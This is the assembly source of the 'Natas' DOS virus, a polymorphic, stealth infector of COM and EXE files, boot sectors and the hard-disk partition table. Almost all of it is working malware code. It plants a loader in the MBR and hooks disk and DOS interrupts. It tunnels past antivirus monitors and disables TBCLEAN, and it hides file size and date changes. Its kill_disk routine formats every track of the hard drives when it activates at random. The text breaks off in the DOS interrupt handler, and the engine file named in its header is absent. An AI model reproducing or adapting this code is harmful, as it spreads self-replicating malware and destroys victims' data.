;Natas Virus
;COM/EXE/Boot sector/partition table/full Stealth and polymorphic
;Tunnels
;Does other stuff
;2 files -- v1eng.asm = virus  eng.asm = Engine


----------------<<v1eng.asm>>--------------------------------------------------

.model  tiny
.code

file_size       equ     file_end - v_start
sect_size       equ     (decrypt - v_start + 511) / 512
para_size       equ     (v_end - v_start + 15) / 16
kilo_size       equ     (v_end - v_start + 1023) / 1024

find_dos_13     equ     tracer_dos_13 - (trace_mode + 1)
find_13         equ     tracer_13 - (trace_mode + 1)
find_15         equ     tracer_15 - (trace_mode + 1)
find_21         equ     tracer_21 - (trace_mode + 1)
find_40         equ     tracer_40 - (trace_mode + 1)
step_21         equ     tracer_step_21 - (trace_mode + 1)

loader_size     equ     loader_end - loader

no_hook_21      equ     new_13_next - (hook_21 + 1)
yes_hook_21     equ     check_21 - (hook_21 + 1)

boot            equ     0
file            equ     1

years           equ     100 shl 1


v_start:        jmp     decrypt
                
                ; push    cs
                ; pop     ds
                ; call    copy_ints
                dw      copy_ints - ($ + 2)     ; save ints 13 15 21 40
                mov     ds:hook_21,al           ; (0=yes_hook_21) hook 21h
                mov     ds:origin,al            ; (0=boot) remeber host
                mov     es,ax                   ; ES=0
                pop     di
                sub     di,3                    ; address of loader in boot
                push    ax di                   ; save return address 0:xxxx
                mov     si,offset boot_code
                call    move_boot_code1         ; copy and decode boot code
                mov     al,13h
                mov     dx,offset new_13
                call    set_int                 ; hook int 13h
                call    inf_hard                ; infect drive C:
                test    byte ptr ds:load_head,dl ; DL=80h drive C:?
                je      boot_retf
                mov     ax,1ffh
                call    random                  ; time to activate?
                jne     boot_retf
                jmp     kill_disk

boot_retf:      retf                            ; return to boot sector
                
;=====( Copy boot code and (en/de)crypt it )=================================;

move_boot_code1:mov     ah,ds:[si - 1]          ; get key
move_boot_code: mov     cx,loader_size
                cld
move_boot_loop: lodsb
                xor     al,ah                   ; code/decode
                rol     ah,1
                stosb
                loop    move_boot_loop
                retn
                
;=====( Code that was in boot sector before infection )======================;

boot_code_key   db      ?
boot_code:      db      loader_size dup(?)

;=====( Gets inserted into infected Boot sectors/MBRs )======================;

loader:         call    $ + 3
                mov     di,40h
                mov     ds,di
                sub     word ptr ds:[di-(40h-13h)],kilo_size ; hide memory
                mov     ax,ds:[di-(40h-13h)]
                mov     cl,0ah
                ror     ax,cl                   ; get TOM address
                mov     es,ax
                mov     ax,200h + sect_size
                xor     bx,bx
                mov     cx,0
load_sect       =       $ - 2
                mov     dx,0
load_head       =       $ - 2
                int     13h                     ; read code into memory
                jb      load_fail
                push    es bx                   ; address of high code
                retf
load_fail:      int     18h
loader_end:

;=====( save ints 13h, 15h, 21h & 40h. Assumes ES=CS )=======================;

copy_ints:      push    ds
                xor     ax,ax
                mov     ds,ax                   ; segment 0
                mov     si,13h * 4h
                mov     di,offset int_13
                push    si si
                movsw
                movsw                           ; int 13h to int_13
                pop     si
                movsw
                movsw                           ; int 13h to dos_13
                mov     si,15h * 4h
                movsw
                movsw                           ; int 15h to int_15
                pop     si                      ; address of int 13h's IVT
                cmp     byte ptr ds:[475h],al   ; any hard disks?
                je      copy_int_40
                mov     si,40h * 4h
copy_int_40:    movsw
                movsw                           ; copy int 13h/40h to int_40
                mov     si,21h * 4h
                movsw
                movsw                           ; int 21h to int_21
                pop     ds
                retn

;=====( get interrupt address )==============================================;

get_int:        push    ax
                xor     ah,ah
                rol     ax,1
                rol     ax,1
                xchg    bx,ax
                xor     ax,ax
                mov     es,ax
                les     bx,es:[bx]              ; get int address
                pop     ax
                retn

;=====( Set interrupt address )==============================================;

set_int:        push    ax bx ds
                xor     ah,ah
                rol     ax,1
                rol     ax,1
                xchg    ax,bx
                xor     ax,ax
                push    ds
                mov     ds,ax
                mov     ds:[bx],dx
                pop     ds:[bx + 2]
                pop     ds bx ax
                retn
                

push_all:       pop     cs:push_pop_ret
                pushf
                push    ax bx cx dx bp si di ds es
                mov     bp,sp
push_pop_jmp:   jmp     cs:push_pop_ret

pop_all:        pop     cs:push_pop_ret
                pop     es ds di si bp dx cx bx ax
                popf
                jmp     push_pop_jmp

;=====( Infect Drive C: )====================================================;

inf_hard:       push    cs cs
                pop     es ds
                mov     ax,201h
                mov     bx,offset disk_buff
                mov     cx,1
                mov     dx,80h
                call    call_13                 ; read MBR of drive C:
                jb      cant_inf_hard
                cmp     ds:[bx.pt_start_head],ch ; Jackal?
                je      cant_inf_hard
                mov     cx,ds:[bx.pt_end_sector_track]
                and     cx,0000000000111111b    ; get sector count
                sub     cx,sect_size
                jbe     cant_inf_hard
                cmp     cl,1                    ; too few sectors?
                jbe     cant_inf_hard
                call    copy_loader             ; copy loader into MBR
                jb      cant_inf_hard
                push    bx
                mov     ax,300h + sect_size
                xor     bx,bx
                call    call_13                 ; write code to hidden sectors
                pop     bx
                jb      cant_inf_hard
                mov     ax,301h
                mov     cl,1
                call    call_13                 ; write infected MBR
cant_inf_hard:  retn   

;=====( Copy Loader into disk_buff (BX) )====================================;

copy_loader:    push    cx dx
                cmp     word ptr ds:[bx+1feh],0aa55h    ; valid boot code?
                jne     copy_load_no
                mov     di,offset boot_code
                mov     ds:[di+load_sect-boot_code],cx  ; save track/sector
                and     dl,80h                          ; Drive C: or A:
                mov     ds:[di+load_head-boot_code],dx  ; save head/disk
                call    find_boot               ; find code/already infected?
                je      copy_load_no
                call    random_1                ; get random key
                mov     ds:[di - 1],ah          ; save key at boot_code_key
                push    si
                call    move_boot_code          ; save boot code and encrypt
                mov     si,di                   ; offset of loader
                pop     di                      ; boot code pointer
                mov     cx,loader_size
                rep     movsb                   ; copy loader into boot sect
                clc
                mov     al,0
                org     $ - 1
copy_load_no:   stc
                pop     dx cx
                retn   
                
;=====( Find start of boot sector's code )===================================;

find_boot:      mov     si,bx
                cld
                lodsb                           ; get 1st instruction
                push    ax
                lodsw                           ; Jump displacement (if jump)
                xchg    cx,ax
                pop     ax
                cmp     al,0ebh                 ; Short jump?
                jne     find_boot_jump
                xor     ch,ch                   ; 8bit jump
                dec     si
                jmp     find_boot_add
find_boot_jump: cmp     al,0e9h                 ; Near Jump?
                je      find_boot_add
find_boot_noadd:xor     cx,cx                   ; No displacement
                mov     si,bx
find_boot_add:  add     si,cx                   ; si=start of boot code
                cmp     si,offset (disk_buff+200h) - (loader_size + 5) 
                                                ; jump out of range?
                jnb     find_boot_noadd
                cmp     word ptr ds:[si],00e8h  ; CALL -> already infected
                jne     find_boot_ret
                cmp     word ptr ds:[si+2],0bf00h ; 00 MOV DI -> already inf
find_boot_ret:  retn

;=====( Disable TBCLEAN )====================================================;

anti_tbclean:   xor     ax,ax
                pushf
                pop     dx
                and     dh,not 1                ; TF off
                push    dx dx
                popf
                push    ss
                pop     ss
                pushf                           ; Not trapped
                pop     dx
                test    dh,1                    ; TF set?
                pop     dx
                je      anti_tb_ret
                push    es
                xor     bp,bp
                mov     cx,ss
                cli
                mov     ss,bp                   ; segment 0
                les     di,ss:[bp+1h*4h]        ; address of int 1h
                mov     ss,cx
                sti
                mov     al,0cfh
                cld
                stosb                           ; IRET -> Int 1h
                pop     es
                push    dx
                popf
anti_tb_ret:    xchg    bp,ax                   ; save result
                retn

;=====( Swap jump into DOS' int 13h )========================================;

swap_13:        call    push_all
                mov     si,offset jump_code_13
                les     di,cs:[si+dos_13-jump_code_13]  ; get address in DOS
                jmp     swap_code

;=====( Swap jump into DOS' int 21h )========================================;

swap_21:        call    push_all
                mov     si,offset jump_code_21
                les     di,cs:[si+int_21-jump_code_21]
swap_code:      push    cs
                pop     ds
                mov     cx,5
                cmp     ds:origin,ch            ; 0 -> Boot origin, no tunnel
                je      swap_end
                cld
swap_loop:      lodsb
                xchg    al,es:[di]
                mov     ds:[si-1],al
                inc     di
                loop    swap_loop
swap_end:       call    pop_all
                retn

;=====( Find original interrupt entry points )===============================;

find_ints:      call    copy_ints               ; get interrupt addresses
                mov     ah,52h
                int     21h
                mov     ax,es:[bx-2]
                mov     ds:dos_seg,ax           ; 1st MCB segment
                mov     al,1h
                call    get_int                 ; get address of int 1h
                push    bx es
                mov     dx,offset tracer
                call    set_int                 ; hook int 1h
                pushf
                pop     si
                mov     di,offset trace_mode
                mov     byte ptr ds:[di],find_dos_13  ; find int 13h in DOS
                                                      ; and BIOS
                mov     ah,1h
                call    si_tf                   ; set TF
                call    call_13
                mov     byte ptr ds:[di],find_15 ; find int 15h in BIOS
                mov     ah,0c0h
                call    si_tf                   ; set TF
                pushf
                call    ds:int_15   
                mov     byte ptr ds:[di],find_21 ; find int 21h in DOS
                mov     ah,30h
                call    si_tf                   ; set TF
                call    call_21
                mov     byte ptr ds:[di],find_40 ; find int 40h in BIOS
                mov     ah,1
                call    si_tf                   ; set TF
                call    call_40
                and     si,not 100h
                push    si
                popf                            ; disable Trapping
                pop     ds dx
                mov     al,1
                call    set_int                 ; unhook int 1h
                retn

;=====( Set TF in SI, then set flags to SI )=================================;

si_tf:          or      si,100h
                push    si
                popf
                retn

;=====( Tracing/Tunneling )==================================================;

tracer:         push    ds
                push    cs
                pop     ds
                mov     ds:old_di,di
                mov     di,offset old_ax
                mov     ds:[di],ax
                mov     ds:[di+old_bx-old_ax],bx
                mov     ds:[di+old_cx-old_ax],cx
                mov     ds:[di+old_dx-old_ax],dx
                pop     ds:[di-(old_ax-old_ds)]
                pop     bx cx dx                ; get IP, CS and Flags
                mov     ax,cs
                cmp     ax,cx                   ; In our CS?
                jne     $
trace_mode      =       byte ptr $ - 1
                jmp     tracer_iret

tracer_dos_13:  cmp     cx,ds:dos_seg           ; in DOS code?
                jnb     tracer_cont
                mov     di,offset dos_13
                mov     ds:trace_mode,find_13   ; find it in BIOS next
                jmp     tracer_save_f

tracer_21:      cmp     cx,1234h                ; In DOS code?
dos_seg         =       word ptr $ - 2
                jnb     tracer_cont
                mov     di,offset int_21
tracer_save:    and     dh,not 1                ; TF off
tracer_save_f:  mov     ds:[di],bx
                mov     ds:[di + 2],cx          ; save address of int
                jmp     tracer_cont

tracer_15:      mov     di,offset int_15
                jmp     tracer_bios

tracer_40:      mov     di,offset int_40
                jmp     tracer_bios
                
tracer_13:      mov     di,offset int_13
tracer_bios:    cmp     ch,0c8h                 ; Below BIOS?
                jb      tracer_cont
                cmp     ch,0f4h                 ; Above BIOS?
                jb      tracer_save
                jmp     tracer_cont

tracer_step_21: dec     ds:inst_count           ; down counter
                jne     tracer_cont
                push    dx
                mov     al,1
                lds     dx,ds:int_1             ; get int 1h address
                call    set_int
                call    swap_21                 ; insert int 21h jump
                pop     dx
                and     dh,not 1h               ; TF off

tracer_cont:    test    dh,1                    ; TF on?
                je      tracer_iret
get_inst:       mov     ds,cx                   ; instruction CS
                xor     di,di
get_inst1:      mov     ax,ds:[bx + di]         ; get instruction
                cmp     al,0f0h                 ; LOCK
                je      skip_prefix
                cmp     al,0f2h                 ; REPNE
                je      skip_prefix
                cmp     al,0f3h                 ; REPE?
                je      skip_prefix
                cmp     al,9ch                  ; PUSHF or above?
                jae     emulate_pushf
                and     al,11100111b            ; 26,2e,36,3e = 26
                cmp     al,26h                  ; Segment Prefix?
                jne     tracer_iret
skip_prefix:    inc     di
                jmp     get_inst1

emulate_pushf:  jne     emulate_popf
                and     dh,not 1                ; TF off
                push    dx                      ; fake PUSHF
emulate_next:   lea     bx,ds:[bx + di + 1]     ; skip instruction
emulate_tf:     or      dh,1                    ; TF on
                jmp     get_inst

emulate_popf:   cmp     al,9dh                  ; POPF?
                jne     emulate_iret
                pop     dx                      ; fake POPF
                jmp     emulate_next

emulate_iret:   cmp     al,0cfh                 ; IRET?
                jne     emulate_int
                pop     bx cx dx                ; fake IRET
                jmp     emulate_tf

emulate_int:    cmp     al,0cdh                 ; Int xx
                je      emulate_int_xx
                cmp     al,0cch                 ; Int 3?
                mov     ah,3
                je      emulate_int_x
                cmp     al,0ceh                 ; Into?
                mov     ah,4
                jne     tracer_iret
                test    dh,8                    ; OF set?
                je      tracer_iret
emulate_int_x:  dec     bx                      ; [bx+di+2-1]
emulate_int_xx: and     dh,not 1                ; TF off
                lea     bx,ds:[bx + di + 2]     ; get return address
                push    dx cx bx                ; fake Int
                mov     al,ah                
                push    es
                call    get_int                 ; get interrupt address
                mov     cx,es
                pop     es
                jmp     emulate_tf

tracer_iret:    push    dx cx bx                ; save flags, cs & ip
                mov     ax,0
old_ds          =       word ptr $ - 2
                mov     ds,ax
                mov     ax,0
old_ax          =       word ptr $ - 2
                mov     bx,0
old_bx          =       word ptr $ - 2
                mov     cx,0
old_cx          =       word ptr $ - 2
                mov     dx,0
old_dx          =       word ptr $ - 2
                mov     di,0
old_di          =       word ptr $ - 2
                iret

;=====( file infections come here after decryption )=========================;

file_start:     push    ds                      ; save PSP segment
                call    $ + 3
                pop     si
                sub     si,offset $ - 1
                call    anti_tbclean            ; disable TBCLEAN
                or      bp,bp                   ; TBCLEAN active?
                jne     go_res
                mov     ah,30h
                mov     bx,-666h
                int     21h
                cmp     al,3h                   ; must be DOS 3+
                jb      jump_host
go_res:         mov     ax,es
                dec     ax
                mov     ds,ax
                xor     di,di
                or      bp,bp                   ; TBCLEAN here?
                jne     dont_check_mcb
                cmp     byte ptr ds:[di],'Z'    ; Last Block?
                jne     jump_host
dont_check_mcb: mov     ax,para_size
                sub     ds:[di + 3],ax          ; from MCB
                sub     ds:[di + 12h],ax        ; from PSP
                mov     es,ds:[di + 12h]        ; get memory address
                mov     ds,di
                sub     word ptr ds:[413h],kilo_size ; from int 12h
                mov     cx,jump_code_13-v_start
                cld
                rep     movs byte ptr es:[di],byte ptr cs:[si]  
                mov     ax,offset high_code
                push    es ax
                retf

jump_host:      push    cs
                pop     ds
                pop     es                      ; PSP segment
                lea     si,ds:[si + header]     ; get address of header
                mov     ax,ds:[si]              ; get 1st instruction
                cmp     ax,'ZM'                 ; EXE?
                je      jump_2_exe
                cmp     ax,'MZ'                 ; EXE?
                je      jump_2_exe
                mov     cx,18h / 2
                mov     di,100h
                push    es di
                cld
                rep     movsw                   ; repair .COM file
                push    es
                pop     ds
                xchg    ax,cx
                retf
                
jump_2_exe:     mov     ax,es
                add     ax,10h
                add     ds:[si.eh_cs],ax
                add     ax,ds:[si.eh_ss]        ; get SS/CS
                push    es
                pop     ds
                cli
                mov     ss,ax
                mov     sp,cs:[si.eh_sp]
                xor     ax,ax
                sti
                jmp     dword ptr cs:[si.eh_ip]


high_code:      push    cs
                pop     ds
                mov     byte ptr ds:[di+origin-jump_code_13],file ; tunnel      
                mov     ax,2
                call    random                  ; 1 in 3 chance of no stealth
                                                ; on special programs
                mov     ds:check_special,al
                mov     ds:hook_21,no_hook_21   ; dont hook int 21h
                mov     al,0eah
                stosb                           ; store at jump_code_13
                mov     ds:[di+4],al
                mov     ax,offset new_13
                stosw
                mov     word ptr ds:[di+3],offset new_21
                mov     ds:[di],cs
                mov     ds:[di+5],cs
                push    di
                call    find_ints               ; trace interrupts
                pop     di
                push    cs
                pop     ds
                mov     ax,ds:dos_seg
                cmp     word ptr ds:[di+(dos_13+2)-(jump_code_13+3)],ax 
                                                ; found DOS' int 13h?
                ja      call_inf_hard
                cmp     word ptr ds:[di+(int_21+2)-(jump_code_13+3)],ax            
                                                ; found DOS' int 21h?
                ja      call_inf_hard
                call    swap_13
                call    swap_21                 ; insert jumps into DOS
call_inf_hard:  call    inf_hard                ; infect drive C:
                or      bp,bp                   ; ZF -> No TBCLEAN
                mov     si,bp                   ; SI=0 if goto jump_host
                jne     kill_disk
                jmp     jump_host

kill_disk:      xor     bx,bx
                mov     es,bx                   ; table to use for format
                mov     dl,80h                  ; Drive C:
kill_next_disk: xor     dh,dh                   ; head 0
kill_next_track:xor     cx,cx                   ; track 0             
kill_format:    mov     ax,501h
                call    call_disk               ; format track
                and     cl,11000000b
                inc     ch                      ; next track low
                jne     kill_format
                add     cl,40h                  ; next track high
                jne     kill_format
                xor     ah,ah
                int     13h                     ; reset disk
                inc     dh                      ; next head
                cmp     dh,10h
                jb      kill_next_track
                inc     dx                      ; next drive
                jmp     kill_next_disk

;=====( Interrupt 13h handler )==============================================;

new_13:         jmp     $
hook_21         =       byte ptr $ - 1

check_21:       call    push_all
                mov     al,21h
                call    get_int                 ; get int 21h address
                mov     ax,es
                push    cs cs
                pop     ds es
                cmp     ax,800h                 ; too high?
                ja      cant_hook_21
                mov     di,offset int_21 + 2
                std
                xchg    ax,ds:[di]              ; swap addresses
                scasw                           ; did it change?
                je      cant_hook_21
                mov     ds:[di],bx
                mov     al,21h
                mov     dx,offset new_21
                call    set_int                 ; hook int 21h
                mov     ds:hook_21,no_hook_21
cant_hook_21:   call    pop_all

new_13_next:    cmp     ah,2h                   ; Read?
                jne     jump_13
                cmp     cx,1                    ; track 0, sector 1?
                jne     jump_13
                or      dh,dh                   ; head 0?
                je      hide_boot
jump_13:        call    call_dos_13
                retf    2h


hide_boot:      call    call_dos_13             ; read boot sector
                call    push_all
                jb      hide_boot_err
                push    es cs
                pop     es ds
                mov     cx,100h
                mov     si,bx
                mov     di,offset disk_buff
                mov     bx,di
                cld
                rep     movsw                   ; copy boot sector to buffer
                push    cs
                pop     ds
                call    find_boot               ; find start/already infected?
                jne     inf_boot
                mov     ax,201h
                mov     cx,ds:[si+load_sect-loader]
                mov     dh,byte ptr ds:[si+(load_head+1)-loader]
                                                ; get code location
                call    call_disk               ; read virus code
                jb      hide_boot_err
                mov     ax,ds:[0]
                cmp     ds:[bx],ax              ; verify infection
                jne     hide_boot_err
                mov     di,ss:[bp.reg_bx]
                mov     es,ss:[bp.reg_es]       ; get caller's buffer
                sub     si,bx                   ; displacement into boot sect.
                add     di,si                   ; address of loader
                lea     si,ds:[bx+(boot_code-v_start)] ; boot code in virus
                call    move_boot_code1         ; hide infection
hide_boot_err:  call    pop_all
                retf    2h

inf_boot:       cmp     dl,80h                  ; hard disk?
                jnb     hide_boot_err
                mov     ax,301h
                mov     cx,1
                call    call_disk               ; Write boot sector to disk
                                                ; CY -> Write-Protected
                jb      hide_boot_err
                mov     si,dx                   ; save drive #
                mov     di,bx
                mov     ax,ds:[di.bs_sectors]   ; get number of sectors
                mov     cx,ds:[di.bs_sectors_per_track]
                sub     ds:[di.bs_sectors],cx   ; prevent overwriting of code
                mov     ds:hide_count,cx
                xor     dx,dx
                or      ax,ax                   ; error?
                je      hide_boot_err
                jcxz    hide_boot_err
                div     cx
                or      dx,dx                   ; even division?
                jne     hide_boot_err
                mov     bx,ds:[di.bs_heads]     ; get number of heads
                or      bx,bx
                je      hide_boot_err
                div     bx
                or      dx,dx
                jne     hide_boot_err
                dec     ax
                mov     ch,al                   ; last track
                mov     cl,1                    ; sector 1
                dec     bx
                mov     dx,si                   ; drive
                mov     dh,bl                   ; last head
                mov     bx,di                   ; offset disk buffer
                call    copy_loader             ; Copy loader into Boot sector
                jb      hide_boot_err
                mov     ax,300h + sect_size
                xor     bx,bx
                call    call_disk
                jb      hide_boot_err
                mov     ax,301h
                mov     bx,offset disk_buff
                mov     cx,1
                xor     dh,dh
                call    call_disk               ; write boot sector to disk
                mov     bx,ss:[bp.reg_bx]
                mov     ds,ss:[bp.reg_es]       ; get caller's buffer
                sub     ds:[bx.bs_sectors],9ffh ; prevent overwriting of code
hide_count      =       word ptr $ - 2
                jmp     hide_boot_err

;=====( Interrupt 21h handler )==============================================;

new_21:         cli
                mov     cs:int_21_ss,ss
                mov     cs:int_21_sp,sp         ; save stack pointers
                push    cs
                pop     ss
                mov     sp,offset temp_stack    ; allocate stack
                sti
                call    push_all
                in      al,21h
                or      al,2                    ; disable keyboard
                out     21h,al
                push    cs
                pop     ds
                mov     di,offset new_24
                mov     word ptr ds:[di-(new_24-handle)],bx ; save handle
                mov     al,24h
                call    get_int                 ; get address of int 24h
                mov     word ptr ds:[di-(new_24-int_24)],bx
                mov     word ptr ds:[di-(new_24-(int_24+2))],es
                mov     word ptr ds:[di],03b0h  ; MOV AL,3
                mov     byte ptr ds:[di+2],0cfh ; IRET
                mov     dx,di
                call    set_int                 ; hook int 24h
                call    pop_all
                call    swap_21                 ; remove jump from int 21h
                call    push_all
                cmp     ah,30h                  ; get DOS version?
                jne     is_dir_fcb
                add     bx,666h                 ; looking for us?
                jnz     is_dir_fcb
                mov     ss:[bp.reg_ax],bx       ; set DOS version=0
                mov     ss:[bp.reg_bx],bx
                jmp     retf_21

is_dir_fcb:     cmp     ah,11h
                jb      is_dir_asciiz
                cmp     ah,12h
                ja      is_dir_asciiz
                call    call_21                 ; do find
                or      al,al                   ; error?
                je      dir_fcb
                jmp     jump_21

dir_fcb:        call    save_returns            ; save AX
                call    get_psp                 ; get current PSP
                mov     ax,'HC'
                scasw                           ; CHKDSK?
                jne     dir_fcb_ok
                mov     ax,'DK'
                scasw
                jne     dir_fcb_ok
                mov     ax,'KS'
                scasw
                je      retf_21
dir_fcb_ok:     call    get_dta                 ; get DTA address
                xor     di,di
                cmp     byte ptr ds:[bx],-1     ; extended FCB?
                jne     dir_fcb_next
                mov     di,7h                   ; fix it up
dir_fcb_next:   lea     si,ds:[bx+di.ds_date+1] ; offset of year -> SI
dir_hide:       call    is_specialfile          ; no stealth if helper
                je      retf_21
                cmp     byte ptr ds:[si],years  ; infected?
                jc      retf_21
                sub     byte ptr ds:[si],years  ; restore old date
                les     ax,ds:[bx+di.ds_size]   ; get size of file
                mov     cx,es
                sub     ax,file_size            ; hide size increase
                sbb     cx,0
                jc      retf_21
                mov     word ptr ds:[bx+di.ds_size],ax
                mov     word ptr ds:[bx+di.ds_size+2],cx ; save new size
retf_21:        call    undo_24                 ; unhook int 24h
                call    pop_all
                call    swap_21                 ; insert jump
                cli
                mov     ss,cs:int_21_ss
                mov     sp,cs:int_21_sp
                sti
                retf    2

                
is_dir_asciiz:  cmp     ah,4eh
                jb      is_lseek
                cmp     ah,4fh
                ja      is_lseek
                call    call_21
                jnc     dir_asciiz    
go_jump_21:     jmp     jump_21

dir_asciiz:     call    save_returns            ; save AX and flags
                call    get_dta                 ; get dta address
                mov     di,-3
                lea     si,ds:[bx.dta_date+1]   ; get year address
                jmp     dir_hide

is_lseek:       cmp     ax,4202h                ; Lseek to end?
                jne     is_date
                call    call_21_file
                jb      go_jump_21
                call    get_dcb                 ; get DCB address
                jbe     lseek_exit
                call    is_specialfile          ; dont hide true size from
                                                ; helpers
                je      lseek_exit
                sub     ax,file_size
                sbb     dx,0                    ; hide virus at end
                mov     word ptr ds:[di.dcb_pos],ax
                mov     word ptr ds:[di.dcb_pos+2],dx ; set position in DCB
lseek_exit:     clc
                call    save_returns            ; save AX/flags
                mov     ss:[bp.reg_dx],dx
                jmp     retf_21

is_date:        cmp     ax,5700h                ; get date?
                je      get_date
                cmp     ax,5701h                ; set date?
                jne     is_read
                call    get_dcb
                jbe     date_err
                cmp     dh,years                ; already setting 100 years?
                jnb     date_err
                add     dh,years                ; dont erase marker
get_date:       call    is_specialfile          ; do not hide date for
                                                ; helpers
                je      date_err
                call    call_21_file            ; get/set date
                jnc     date_check
date_err:       jmp     jump_21

date_check:     cmp     dh,years                ; infected?
                jb      date_ok
                sub     dh,years
date_ok:        clc
                call    save_returns            ; save ax/flags
                mov     ss:[bp.reg_cx],cx
                mov     ss:[bp.reg_dx],dx       ; save time/date
                jmp     retf_21
                
is_read:        cmp     ah,3fh                  ; reading file?
                je      do_read
no_read:        jmp     is_write

do_read:        call    get_dcb                 ; get DCB address
                jbe     no_read
                call    is_specialfile
                je      no_read
                les     ax,ds:[di.dcb_size]     ; get size of file                                
                mov     bx,es
                les     dx,ds:[di.dcb_pos]      ; get current position
                mov     si,es
                and     cs:read_bytes,0
                or      si,si                   ; in 1st 64k?
                jnz     read_high
                cmp     dx,18h                  ; reading header?
                jnb     read_high
                push    cx
                add     cx,dx
                cmc
                jnc     read_above
                cmp     cx,18h                  ; read goes above header?
read_above:     pop     cx
                jb      read_below
                mov     cx,18h
                sub     cx,dx
read_below:     push    ax bx                   ; save size
                push    dx                      ; position
                sub     dx,18h
                add     ax,dx                   ; get position in header
                cmc
                sbb     bx,si
                xchg    word ptr ds:[di.dcb_pos],ax
                xchg    word ptr ds:[di.dcb_pos+2],bx ; lseek to header
                push    ax bx
                push    ds
                mov     ah,3fh                
                mov     dx,ss:[bp.reg_dx]
                mov     ds,ss:[bp.reg_ds]
                call    call_21_file            ; read file
                pop     ds
                pop     word ptr ds:[di.dcb_pos+2]
                pop     word ptr ds:[di.dcb_pos]
                pop     dx
                pushf
                add     dx,ax                   ; adjust position
                add     cs:read_bytes,ax        ; remember # of bytes read
                popf
                pop     bx ax
                jnc     read_high
                jmp     jump_21

read_high:      mov     word ptr ds:[di.dcb_pos],dx ; update position
                mov     word ptr ds:[di.dcb_pos+2],si
                mov     cx,ss:[bp.reg_cx]       ; number of bytes to read
                sub     cx,cs:read_bytes
                sub     ax,file_size
                sbb     bx,0                    ; get original size
                push    ax bx
                sub     ax,dx
                sbb     bx,si                   ; in virus now?
                pop     bx ax
                jnc     read_into
                xor     cx,cx                   ; read 0 bytes
                jmp     read_fake

read_into:      add     dx,cx
                adc     si,0                    ; get position after read
                cmp     bx,si                   ; read extends into virus?
                ja      read_fake
                jb      read_adjust
                cmp     ax,dx
                jnb     read_fake
read_adjust:    sub     dx,cx                   ; get position again
                xchg    cx,ax
                sub     cx,dx   ; # of bytes to read = Original size - Pos
read_fake:      mov     ah,3fh
                mov     dx,ss:[bp.reg_dx]
                add     dx,cs:read_bytes
                mov     ds,ss:[bp.reg_ds]
                call    call_21_file            ; read file
                jc      read_exit
                add     ax,0
read_bytes      =       word ptr $ - 2
                clc
read_exit:      call    save_returns
                jmp     retf_21
                

is_write:       cmp     ah,40h                  ; write?
                je      do_write
no_write:       jmp     is_infect

do_write:       call    get_dcb
                jbe     no_write
                les     ax,ds:[di.dcb_size]     ; get file size
                mov     bx,es
                sub     ax,18h
                sbb     bx,0                    ; get header position
                xchg    ax,word ptr ds:[di.dcb_pos]
                xchg    bx,word ptr ds:[di.dcb_pos+2] ; lseek to header
                push    ax bx
                mov     ax,2
                xchg    ax,ds:[di.dcb_mode]     ; read/write mode
                push    ax
                push    ds cs
                pop     ds es
                call    read_header             ; read 18h bytes
                pop     es:[di.dcb_mode]        ; restore access mode
                jc      write_rest_pos
                mov     word ptr es:[di.dcb_pos],ax
                mov     word ptr es:[di.dcb_pos+2],ax ; lseek to start
                call    write_header                  ; write old header
                jc      write_rest_pos
                push    es
                pop     ds
                sub     word ptr ds:[di.dcb_size],file_size
                sbb     word ptr ds:[di.dcb_size+2],ax    ; truncate at virus
                sub     byte ptr ds:[di.dcb_date+1],years ; remove 100 years
write_rest_pos: pop     word ptr es:[di.dcb_pos+2]
                pop     word ptr es:[di.dcb_pos]
                jmp     jump_21


is_infect:      cmp     ah,3eh                  ; Close?
                je      infect_3e
                cmp     ax,4b00h                ; Execute?
                je      infect_4b
                jmp     jump_21

infect_4b:      mov     ax,3d00h                ; Open file
                cmp     ax,0
                org     $ - 2
infect_3e:      mov     ah,45h                  ; Duplicate handle
                call    int_2_bios              ; lock out protection programs
                call    call_21_file            ; get handle
                mov     cs:handle,ax
                mov     ax,4408h
                cwd
                jc      undo_bios
                call    get_dcb                 ; get DCB for handle
                jb      cant_infect
                jne     cant_infect             ; error/already infected
                mov     bl,00111111b
                and     bl,byte ptr ds:[di.dcb_dev_attr] ; get drive code
                mov     dl,bl                   ; DX=00**
                inc     bx                      ; 0=default,1=a,2=b,3=c,etc.
                call    call_21                 ; drive removable?
                mov     cx,1h
                push    cs
                pop     es
                jc      test_prot_drive
                dec     ax                      ; 1=non-removable
                jz      no_protect
                jmp     test_protect

test_prot_drive:cmp     dl,1                    ; A or B?
                ja      no_protect
test_protect:   mov     ax,201h
                mov     bx,offset disk_buff
                int     13h                     ; read sector
                jc      cant_infect
                mov     ax,301h
                int     13h                     ; write it back
                jc      cant_infect
no_protect:     inc     cx                      ; CX=2
                xchg    cx,ds:[di.dcb_mode]     ; read/write access mode
                push    cx
                xor     ax,ax
                xchg    ah,ds:[di.dcb_attr]     ; attribute=0
                test    ah,00000100b            ; system file?
                push    ax
                jne     cant_system
                cbw
                cwd
                xchg    ax,word ptr ds:[di.dcb_pos]
                xchg    dx,word ptr ds:[di.dcb_pos+2] ; lseek to 0
                push    ax dx
                mov     bp,-'OC'
                add     bp,word ptr ds:[di.dcb_ext]   ; BP=0 of CO
                jnz     not_com
                mov     bp,-'MO'
                add     bp,word ptr ds:[di.dcb_ext+1] ; BP=0 if OM
not_com:        call    infect
                pushf
                call    get_dcb
                popf
                jc      not_infected
                add     byte ptr ds:[di.dcb_date+1],years   ; add 100 years
not_infected:   or      byte ptr ds:[di.dcb_dev_attr+1],40h ; no time/date
                pop     word ptr ds:[di.dcb_pos+2]
                pop     word ptr ds:[di.dcb_pos]
cant_system:    pop     word ptr ds:[di.dcb_attr-1] ; restore attribute
                pop     ds:[di.dcb_mode]        ; restore access mode
cant_infect:    mov     ah,3eh
                call    call_21_file            ; close file
undo_bios:      call    int_2_bios              ; restore interrupts
                
;=====( Jump on to int 21h )=================================================;

jump_21:        call    undo_24                 ; unhook int 24h
                push    cs
                pop     ds
                mov     al,1h
                mov     di,offset int_1
                cmp     byte ptr ds:[di+origin-int_1],al ; file origin?
                jne     jump_21_1
                call    get_int                 ; get int 1h address
                mov     ds:[di],bx
                mov     ds:[di + 2],es
                mov     byte ptr ds:[di+inst_count-int_1],5
                mov     ds:trace_mode,step_21
                mov     dx,offset tracer
                call    set_int                 ; hook int 1h
                call    pop_all
                push    si
                pushf
                pop     si
                call    si_tf                   ; set TF
                pop     si
go_21:          cli
                mov     ss,cs:int_21_ss
                mov     sp,cs:int_21_sp         ; restore stack
                sti
go_2_21:        jmp     cs:int_21
                
jump_21_1:      call    pop_all
